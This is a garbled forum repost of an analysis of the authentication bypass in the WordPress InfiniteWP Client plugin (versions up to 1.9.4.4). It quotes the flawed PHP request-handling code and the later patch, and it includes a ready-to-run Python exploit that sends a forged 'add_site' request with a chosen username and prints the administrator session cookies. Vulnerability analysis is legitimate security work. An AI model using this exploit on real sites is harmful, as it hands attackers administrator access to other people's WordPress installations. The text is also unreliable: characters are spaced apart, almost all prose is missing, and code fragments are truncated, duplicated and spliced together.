[15262] 2020-04-17_关于WordPressInfiniteWPClient的身份认证绕过漏洞的分析与利用

文档创建者:s7ckTeam
浏览次数:13
最后更新:2025-01-18
2020-04-17_关于WordPressInfiniteWPClient的身份认证绕过漏洞的分析与利用 W o r d P r e s s   I n f i n i t e W P   C l i e n t N e r o q i   F r e e B u f   2 0 2 0 - 0 4 - 1 7 I n f i n i t e W P   C l i e n t W o r d P r e s s I n f i n i t e W P   A d m i n   P a n e l 使 便 使 便 W o r d P r e s s I n f i n i t e W P   C l i e n t < = 1 . 9 . 4 . 4 I n f i n i t e W P   C l i e n t 3 0 W o r d P r e s s 广 广 1 . B u r p S u i t e   v 2 . 1 2 . D e b i a n 9 . 6   x 6 4 3 . W o r d P r e s s   5 . 2 . 2 4 . i w p - c l i e n t . 1 . 9 . 4 . 4 1 . i w p _ m m b _ s e t _ r e q u e s t ( ) I W P _ M M B _ C o r e r e q u e s t _ p a r a m s $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s f a l s e $ p a r a m s [ ' u s e r n a m e ' ] $ p a r a m s [ ' u s e r n a m e ' ] 使 i w p _ m m b _ g e t _ u s e r _ b y 使 w p _ s e t _ a u t h _ c o o k i e $ p a r a m s [ ' u s e r n a m e ' ] c o o k i e $ p a r a m s [ ' u s e r n a m e ' ] ? $ p a r a m s   =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s 2 . $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s i w p _ m m b _ p a r s e _ r e q u e s t ( ) i n i t . p h p i f   ( ! f u n c t i o n _ e x i s t s   ( ' i w p _ m m b _ s e t _ r e q u e s t ' ) )   {         f u n c t i o n   i w p _ m m b _ s e t _ r e q u e s t ( ) {                 g l o b a l   $ c u r r e n t _ u s e r ,   $ i w p _ m m b _ c o r e ,   $ n e w _ a c t i o n s ,   $ w p _ d b _ v e r s i o n ,   $ w p m u _ v e r s i o n ,   $ _ w p _ u s i n g _ e x t _ o b j e c t _ c a c h e ,   $ i w p _ m m b _ a c t i v i t i e s _ l o g ;                 i f   ( i s _ u s e r _ l o g g e d _ i n ( ) )   {                         i w p _ p l u g i n _ c o m p a t i b i l i t y _ f i x ( ) ;                 }                 i f   ( e m p t y ( $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s ) )   {                         r e t u r n   f a l s e ;                 }                 $ p a r a m s   =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s ;                 $ a c t i o n   =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s [ ' i w p _ a c t i o n ' ] ;                 $ i s _ s a v e _ a c t i v i t y _ l o g     =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s [ ' i s _ s a v e _ a c t i v i t y _ l o g ' ] ;                 i f   ( $ a c t i o n   = =   ' m a i n t a i n _ s i t e ' )   {                         i w p _ m m b _ m a i n t a i n _ s i t e ( $ p a r a m s ) ;                         i w p _ m m b _ r e s p o n s e ( a r r a y ( ' e r r o r '   = >   ' Y o u   s h o u l d   n e v e r   s e e   t h i s . ' ,   ' e r r o r _ c o d e '   = >   ' y o u _ s h o u l d _ n e v e r _ s e e _ t h i s ' ) ,   f a l s e ) ;                 }                 @ i g n o r e _ u s e r _ a b o r t ( t r u e ) ;                 $ G L O B A L S [ ' I W P _ C L I E N T _ H I S T O R Y _ I D ' ]   =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s [ ' i d ' ] ;                 i w p _ m m b _ b a c k u p _ d b _ c h a n g e s ( ) ;                 i f ( i s s e t ( $ p a r a m s [ ' u s e r n a m e ' ] )   & &   ! i s _ u s e r _ l o g g e d _ i n ( ) ) {                         $ u s e r   =   f u n c t i o n _ e x i s t s ( ' g e t _ u s e r _ b y ' )   ?   g e t _ u s e r _ b y ( ' l o g i n ' ,   $ p a r a m s [ ' u s e r n a m e ' ] )   :   i w p _ m m b _ g e t _ u s e r _ b y (   ' l o g i n ' ,   $ p a r a m s [ ' u s e r n a m e ' ]   ) ;                         i f   ( i s s e t ( $ u s e r )   & &   i s s e t ( $ u s e r - > I D ) )   {                                 w p _ s e t _ c u r r e n t _ u s e r ( $ u s e r - > I D ) ;                                 u p d a t e _ u s e r _ m e t a ( $ u s e r - > I D ,   ' l a s t _ l o g i n _ t i m e ' ,   c u r r e n t _ t i m e ( ' m y s q l ' ) ) ;                         }                         $ i s H T T P S   =   ( b o o l ) i s _ s s l ( ) ;                         i f ( $ i s H T T P S ) {                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ) ;                         } e l s e {                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ,   f a l s e ,   f a l s e ) ;                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ,   f a l s e ,   t r u e ) ;                         }                 } i f (   ! f u n c t i o n _ e x i s t s   ( ' i w p _ m m b _ p a r s e _ r e q u e s t ' ) )   {         f u n c t i o n   i w p _ m m b _ p a r s e _ r e q u e s t ( ) {                 g l o b a l   $ H T T P _ R A W _ P O S T _ D A T A ,   $ i w p _ m m b _ a c t i v i t i e s _ l o g ;                 $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L   =   N U L L ;                 $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ;                 i f ( e m p t y ( $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ) ) {                         i f   ( i s s e t ( $ H T T P _ R A W _ P O S T _ D A T A ) )   {                                 $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L   =   $ H T T P _ R A W _ P O S T _ D A T A ;                         }                 }                 g l o b a l   $ c u r r e n t _ u s e r ,   $ i w p _ m m b _ c o r e ,   $ n e w _ a c t i o n s ,   $ w p _ d b _ v e r s i o n ,   $ w p m u _ v e r s i o n ,   $ _ w p _ u s i n g _ e x t _ o b j e c t _ c a c h e ;                 i f   ( s t r r p o s ( $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ,   ' _ I W P _ J S O N _ P R E F I X _ ' )   ! = =   f a l s e )   {                         $ r e q u e s t _ d a t a _ a r r a y   =   e x p l o d e ( ' _ I W P _ J S O N _ P R E F I X _ ' ,   $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ) ;                         $ r e q u e s t _ r a w _ d a t a   =   $ r e q u e s t _ d a t a _ a r r a y [ 1 ] ;                         $ d a t a   =   t r i m ( b a s e 6 4 _ d e c o d e ( $ r e q u e s t _ r a w _ d a t a ) ) ;                         $ G L O B A L S [ ' I W P _ J S O N _ C O M M U N I C A T I O N ' ]   =   1 ;                 } e l s e {
                } e l s e {                         $ d a t a   =   f a l s e ;                         $ r e q u e s t _ r a w _ d a t a   =   $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ;                         $ s e r i a l i z e d _ d a t a   =   t r i m ( b a s e 6 4 _ d e c o d e ( $ r e q u e s t _ r a w _ d a t a ) ) ;                         i f   ( i s _ s e r i a l i z e d ( $ s e r i a l i z e d _ d a t a ) )   {                                         i w p _ m m b _ r e s p o n s e ( a r r a y ( ' e r r o r '   = >   ' P l e a s e   u p d a t e   y o u r   I W P   A d m i n   P a n e l   t o   l a t e s t   v e r s i o n ' ,   ' e r r o r _ c o d e '   = >   ' u p d a t e _ p a n e l ' ) ,   f a l s e ,   t r u e ) ;                         }                 }                 i f   ( $ d a t a ) {                         $ r e q u e s t _ d a t a   =   j s o n _ d e c o d e ( $ d a t a ,   t r u e ) ;                         i f ( i s s e t ( $ r e q u e s t _ d a t a [ ' p a r a m s ' ] ) ) {                                   $ r e q u e s t _ d a t a [ ' p a r a m s ' ]   =   i w p _ m m b _ f i l t e r _ p a r a m s ( $ r e q u e s t _ d a t a [ ' p a r a m s ' ] ) ;                         }                         i f   ( i s s e t ( $ G L O B A L S [ ' I W P _ J S O N _ C O M M U N I C A T I O N ' ] )   & &   $ G L O B A L S [ ' I W P _ J S O N _ C O M M U N I C A T I O N ' ] )   {                                 $ s i g n a t u r e     =   b a s e 6 4 _ d e c o d e ( $ r e q u e s t _ d a t a [ ' s i g n a t u r e ' ] ) ;                         } e l s e {                                 $ s i g n a t u r e     =   $ r e q u e s t _ d a t a [ ' s i g n a t u r e ' ] ;                         }                         $ i w p _ a c t i o n                                           =   $ r e q u e s t _ d a t a [ ' i w p _ a c t i o n ' ] ;                         $ p a r a m s                                                   =   $ r e q u e s t _ d a t a [ ' p a r a m s ' ] ;                         $ i d                                                           =   $ r e q u e s t _ d a t a [ ' i d ' ] ;                         i f ( i s s e t ( $ r e q u e s t _ d a t a [ ' i s _ s a v e _ a c t i v i t y _ l o g ' ] ) )   {                                 $ i s _ s a v e _ a c t i v i t y _ l o g         =   $ r e q u e s t _ d a t a [ ' i s _ s a v e _ a c t i v i t y _ l o g ' ] ;                         }                         $ G L O B A L S [ ' a c t i v i t i e s _ l o g _ d a t e t i m e ' ]   =   $ r e q u e s t _ d a t a [ ' a c t i v i t i e s _ l o g _ d a t e t i m e ' ] ;                 }                 i f   ( i s s e t ( $ i w p _ a c t i o n )   & &   $ i w p _ a c t i o n   ! =   ' r e s t o r e N e w ' )   {                         i f ( ! d e f i n e d ( ' I W P _ A U T H O R I S E D _ C A L L ' ) )   d e f i n e ( ' I W P _ A U T H O R I S E D _ C A L L ' ,   1 ) ;                         i f ( f u n c t i o n _ e x i s t s ( ' r e g i s t e r _ s h u t d o w n _ f u n c t i o n ' ) ) {   r e g i s t e r _ s h u t d o w n _ f u n c t i o n ( " i w p _ m m b _ s h u t d o w n " ) ;   }                         $ G L O B A L S [ ' I W P _ M M B _ P R O F I L I N G ' ] [ ' A C T I O N _ S T A R T ' ]   =   m i c r o t i m e ( 1 ) ;                         e r r o r _ r e p o r t i n g ( 0 ) ;                         @ i n i _ s e t ( " d i s p l a y _ e r r o r s " ,   0 ) ;                         r u n _ h a s h _ c h a n g e _ p r o c e s s ( ) ;                         i w p _ p l u g i n _ c o m p a t i b i l i t y _ f i x ( ) ;                         $ a c t i o n   =   $ i w p _ a c t i o n ;                         $ _ w p _ u s i n g _ e x t _ o b j e c t _ c a c h e   =   f a l s e ;                         @ s e t _ t i m e _ l i m i t ( 6 0 0 ) ;                         i f   ( ! $ i w p _ m m b _ c o r e - > c h e c k _ i f _ u s e r _ e x i s t s ( $ p a r a m s [ ' u s e r n a m e ' ] ) )                                 i w p _ m m b _ r e s p o n s e ( a r r a y ( ' e r r o r '   = >   ' U s e r n a m e   '   .   $ p a r a m s [ ' u s e r n a m e ' ]   .   '   d o e s   n o t   h a v e   a d m i n i s t r a t i v e   a c c e s s .   E n t e r   t h e   c o r r e c t   u s e r n a m e   i n   t h e   s i t e   o p t i o n s . ' ,                           i f   ( $ a c t i o n   = =   ' a d d _ s i t e ' )   {                                 $ p a r a m s [ ' i w p _ a c t i o n ' ]   =   $ a c t i o n ;                                 $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s   =   $ p a r a m s ;                                 r e t u r n ;                         } e l s e i f   ( $ a c t i o n   = =   ' r e a d d _ s i t e ' )   {                                 $ p a r a m s [ ' i d ' ]   =   $ i d ;                                 $ p a r a m s [ ' i w p _ a c t i o n ' ]   =   $ a c t i o n ;                                 $ p a r a m s [ ' s i g n a t u r e ' ]   =   $ s i g n a t u r e ;                                 $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s   =   $ p a r a m s ;                                 r e t u r n ;                         }                         $ a u t h   =   $ i w p _ m m b _ c o r e - > a u t h e n t i c a t e _ m e s s a g e ( $ a c t i o n   .   $ i d ,   $ s i g n a t u r e ,   $ i d ) ;                         i f   ( $ a u t h   = = =   t r u e )   {                                 i f   ( ! d e f i n e d ( ' W P _ A D M I N ' )   & &   $ a c t i o n   = =   ' g e t _ s t a t s '   | |   $ a c t i o n   = =   ' d o _ u p g r a d e '   | |   $ a c t i o n   = =   ' i n s t a l l _ a d d o n '   | |   $ a c t i o n   = =   ' e d i t _ p l u g i n s _ t h e m e s '   | |   $ a c t i o n   = =                                           d e f i n e ( ' W P _ A D M I N ' ,   t r u e ) ;                                 }                                 i f   ( $ a c t i o n   = =   ' g e t _ s t a t s ' )   {                                         i w p _ m u _ p l u g i n _ l o a d e r ( ) ;                                 }                                 i f   ( i s _ m u l t i s i t e ( ) )   {                                         d e f i n e ( ' W P _ N E T W O R K _ A D M I N ' ,   t r u e ) ;                                 } e l s e {                                         d e f i n e ( ' W P _ N E T W O R K _ A D M I N ' ,   f a l s e ) ;                                 }                                 $ p a r a m s [ ' i d ' ]   =   $ i d ;                                 $ p a r a m s [ ' i w p _ a c t i o n ' ]   =   $ a c t i o n ;                                 $ p a r a m s [ ' i s _ s a v e _ a c t i v i t y _ l o g ' ]   =   $ i s _ s a v e _ a c t i v i t y _ l o g ;                                 $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s   =   $ p a r a m s ;                         }   e l s e   {                                 i w p _ m m b _ r e s p o n s e ( $ a u t h ,   f a l s e ) ;                         }                 }   e l s e   {                         $ H T T P _ R A W _ P O S T _ D A T A   =     $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ;                 }         }
3 . a d d _ s i t e r e a d d _ s i t e $ a c t i o n a d d _ s i t e r e a d d _ s i t e $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s r e t u r n $ i w p _ m m b _ c o r e - > a u t h e n t i c a t e _ m e s s a g e ( $ a c t i o n   .   $ i d ,   $ s i g n a t u r e ,   $ i d ) a d d _ s i t e r e a d d _ s i t e 1 . i w p _ m m b _ p a r s e _ r e q u e s t ( ) i w p _ m m b _ p a r s e _ r e q u e s t ( ) $ r e q u e s t _ r a w _ d a t a b a s e 6 4 $ d a t a $ d a t a j s o n 使 使 j s o n 使 B a s e 6 4 P O S T W o r d P r e s s 2 . u r l a d m i n W o r d P r e s s a d m i n C o o k i e u r l 使 B u r p s u i t e 使 C o o k i e C o o k i e } i f   ( s t r r p o s ( $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ,   ' _ I W P _ J S O N _ P R E F I X _ ' )   ! = =   f a l s e )   {                         $ r e q u e s t _ d a t a _ a r r a y   =   e x p l o d e ( ' _ I W P _ J S O N _ P R E F I X _ ' ,   $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ) ;                         $ r e q u e s t _ r a w _ d a t a   =   $ r e q u e s t _ d a t a _ a r r a y [ 1 ] ;                         $ d a t a   =   t r i m ( b a s e 6 4 _ d e c o d e ( $ r e q u e s t _ r a w _ d a t a ) ) ;                         $ G L O B A L S [ ' I W P _ J S O N _ C O M M U N I C A T I O N ' ]   =   1 ;                 } e l s e {                         $ d a t a   =   f a l s e ;                         $ r e q u e s t _ r a w _ d a t a   =   $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ;                         $ s e r i a l i z e d _ d a t a   =   t r i m ( b a s e 6 4 _ d e c o d e ( $ r e q u e s t _ r a w _ d a t a ) ) ;                         i f   ( i s _ s e r i a l i z e d ( $ s e r i a l i z e d _ d a t a ) )   {                                         i w p _ m m b _ r e s p o n s e ( a r r a y ( ' e r r o r '   = >   ' P l e a s e   u p d a t e   y o u r   I W P   A d m i n   P a n e l   t o   l a t e s t   v e r s i o n ' ,   ' e r r o r _ c o d e '   = >   ' u p d a t e _ p a n e l ' ) ,   f a l s e ,   t r u e ) ;                         }                 }                 i f   ( $ d a t a ) {                         $ r e q u e s t _ d a t a   =   j s o n _ d e c o d e ( $ d a t a ,   t r u e ) ; #   - * -   c o d i n g :   U T F - 8   - * - i m p o r t   r e q u e s t s i m p o r t   b a s e 6 4 i m p o r t   j s o n d e f   e x p l o i t ( u r l ,   u s e r n a m e ) :         j s o n _ i n f o   =   { " i w p _ a c t i o n " :   " a d d _ s i t e " ,   " p a r a m s " :   { " u s e r n a m e " :   u s e r n a m e } }         t r y :                 r e t u r n   r e q u e s t s . p o s t ( u r l ,   t i m e o u t = 5 ,   v e r i f y = F a l s e ,                         h e a d e r s = { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   r v : 7 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 4 . 0 " } ,                         d a t a = " _ I W P _ J S O N _ P R E F I X _ { } " . f o r m a t ( b a s e 6 4 . b 6 4 e n c o d e ( j s o n . d u m p s ( j s o n _ i n f o ) . e n c o d e ( " u t f - 8 " ) ) . d e c o d e ( " u t f - 8 " ) )                 )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( " [ - ]   H T T P   E x p l o i t   E r r o r :   { } " . f o r m a t ( e ) )         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         u r l   =   r a w _ i n p u t ( " [ + ]   u r l " )         u s e r n a m e   =   r a w _ i n p u t ( " [ + ]   " )         s i t e _ r e s p o n s e   =   e x p l o i t ( u r l ,   u s e r n a m e )         c o o k i e   =   " "         i f   ( s i t e _ r e s p o n s e   a n d   s i t e _ r e s p o n s e . s t a t u s _ c o d e   = =   r e q u e s t s . c o d e s . o k ) :                 l i s t   =   [ s t r ( a ) + " = " + s t r ( b )   f o r   a ,   b   i n   s i t e _ r e s p o n s e . c o o k i e s . i t e m s ( ) ]                 c o o k i e   =   " ;   " . j o i n ( l i s t )         i f   c o o k i e :                         p r i n t ( " [ + ]   使 C o o k i e s n { } " . f o r m a t ( c o o k i e ) )                         e x i t ( 0 ) p r i n t ( " [ - ]   " ) h t t p : / / 1 9 2 . 1 6 8 . 1 1 0 . 1 4 5 / w o r d p r e s s / w p - a d m i n / h t t p : / / 1 9 2 . 1 6 8 . 1 1 0 . 1 4 5 / w o r d p r e s s / w p - a d m i n /
W o r d P r e s s 1 . 9 . 4 . 5 $ a c t i o n $ a c t i o n a d d _ s i t e r e a d d _ s i t e f a l s e 使 w p _ s e t _ a u t h _ c o o k i e $ p a r a m s [ ' u s e r n a m e ' ] C o o k i e w a f I n f i n i t e W P   C l i e n t * N e r o q i F r e e B u f . C O M i f   ( $ a c t i o n   = =   ' a d d _ s i t e '   | |   $ a c t i o n   = =   ' r e a d d _ s i t e ' )   {                         r e t u r n   f a l s e ;                 }                 i f   ( $ a c t i o n   = =   ' m a i n t a i n _ s i t e ' )   {                         i w p _ m m b _ m a i n t a i n _ s i t e ( $ p a r a m s ) ;                         i w p _ m m b _ r e s p o n s e ( a r r a y ( ' e r r o r '   = >   ' Y o u   s h o u l d   n e v e r   s e e   t h i s . ' ,   ' e r r o r _ c o d e '   = >   ' y o u _ s h o u l d _ n e v e r _ s e e _ t h i s ' ) ,   f a l s e ) ;                 }                 @ i g n o r e _ u s e r _ a b o r t ( t r u e ) ;                 $ G L O B A L S [ ' I W P _ C L I E N T _ H I S T O R Y _ I D ' ]   =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s [ ' i d ' ] ;                 i w p _ m m b _ b a c k u p _ d b _ c h a n g e s ( ) ;                 i f ( i s s e t ( $ p a r a m s [ ' u s e r n a m e ' ] )   & &   ! i s _ u s e r _ l o g g e d _ i n ( ) ) {                         $ u s e r   =   f u n c t i o n _ e x i s t s ( ' g e t _ u s e r _ b y ' )   ?   g e t _ u s e r _ b y ( ' l o g i n ' ,   $ p a r a m s [ ' u s e r n a m e ' ] )   :   i w p _ m m b _ g e t _ u s e r _ b y (   ' l o g i n ' ,   $ p a r a m s [ ' u s e r n a m e ' ]   ) ;                         i f   ( i s s e t ( $ u s e r )   & &   i s s e t ( $ u s e r - > I D ) )   {                                 w p _ s e t _ c u r r e n t _ u s e r ( $ u s e r - > I D ) ;                                 / /   C o m p a t i b i l i t y   w i t h   A l l   I n   O n e   S e c u r i t y                                 u p d a t e _ u s e r _ m e t a ( $ u s e r - > I D ,   ' l a s t _ l o g i n _ t i m e ' ,   c u r r e n t _ t i m e ( ' m y s q l ' ) ) ;                         }                         $ i s H T T P S   =   ( b o o l ) i s _ s s l ( ) ;                         i f ( $ i s H T T P S ) {                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ) ;                         } e l s e {                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ,   f a l s e ,   f a l s e ) ;                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ,   f a l s e ,   t r u e ) ;                         }                 }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则